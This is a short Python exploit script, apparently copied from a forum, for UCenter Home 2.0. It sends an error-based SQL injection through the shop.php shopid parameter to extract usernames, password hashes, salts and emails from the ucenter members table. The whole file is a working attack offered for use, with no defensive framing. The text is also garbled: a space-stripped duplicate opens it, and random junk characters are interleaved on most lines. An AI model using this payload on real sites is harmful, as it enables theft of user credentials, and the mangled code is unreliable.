#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
/ E+ x7 c5 p# @! D4 H' V: c3 d
" K* O# K4 U( w* ^9 a) r8 E( C6 b! l' D$ m( T
#!/usr/bin/env python
* g. r, W4 a' z Z- ?- h
1 w2 n% ]3 o( C. ~* ?4 yimport sys
9 f( z1 {, d+ s% m/ E* Oimport urllib2 " ]- d2 q3 p* P4 |* V
import re
* X2 W7 } B' f) P" u8 B
* P: V; a( w& r u! Cdef info(): . z! M& z0 ~* W4 i7 ]6 s/ ~
print 'From:http://www.exploit-db.com/exploits/14997/' 7 M5 P- ]5 X& w% q- g% m. r
print 'http://www.hake.cc/Web_loudong/'
* S2 `4 A6 a2 U7 V& B print 'changed:qiaoy'
1 x- B1 ?" n) `/ U) x, F print 'exp:'
8 T4 d& a2 K) Y$ b# m4 ~ print ' ./UCenter_Home_2.0.py site'
' E8 I5 `: R! F4 o1 I
9 h+ n: P* V8 t/ Z: t6 R) W- rdef main(): , X+ z$ n6 i( g5 |+ P) y" J" A
if len(sys.argv) != 2: " |2 i6 h+ U: Q+ C
info()
% [ F1 _9 h# Y# e1 _8 U1 @ else:
$ P8 i$ C, ?& u, Z site = sys.argv[1] - u1 B: b6 Y8 Q
if site[0:7] == 'http://':
6 f) W5 i5 F7 |" @, q# u) [; `8 z sitesite =site
/ ~* L, k8 G4 W elif site[0:8] == 'https://': % B" ]% H' ^! w$ ~0 i$ Z
sitesite = site j( W# U0 M6 B( w
else:
; x( s3 Y7 t( l6 ~2 L site = 'http://'+site % i* k: _' O+ n& ?1 R/ e6 Z
try: # ~6 j, C8 x9 t3 c0 ^
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
# D2 K: f4 |- G& Z: n. m Value = urllib2.urlopen(url).read()
( w1 F0 V8 v0 y, t- r Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
5 s( B% I' V @0 U hacked = Msg.split(':')
8 Z; A' Z1 r' V& ~; \ print 'Name: '+hacked[1] 0 ]$ a5 C" W# R
print 'Passwd: '+hacked[2] ! F. ]& P/ y* A! j
print 'salt: '+hacked[3]
: u) M k+ I/ g print 'email: '+hacked[4] 8 `+ a5 c" v1 Q9 R0 u' b
except:
! a! K( S+ Y% g5 W2 l, ]4 L print 'Sorry,I can\'t work............'
( J4 e1 ~( e& e+ E8 v4 x
" m4 L, O1 ~$ y6 u% C7 L" Rif __name__ == '__main__': " p' @& \/ _7 ?& C: M% F
main() |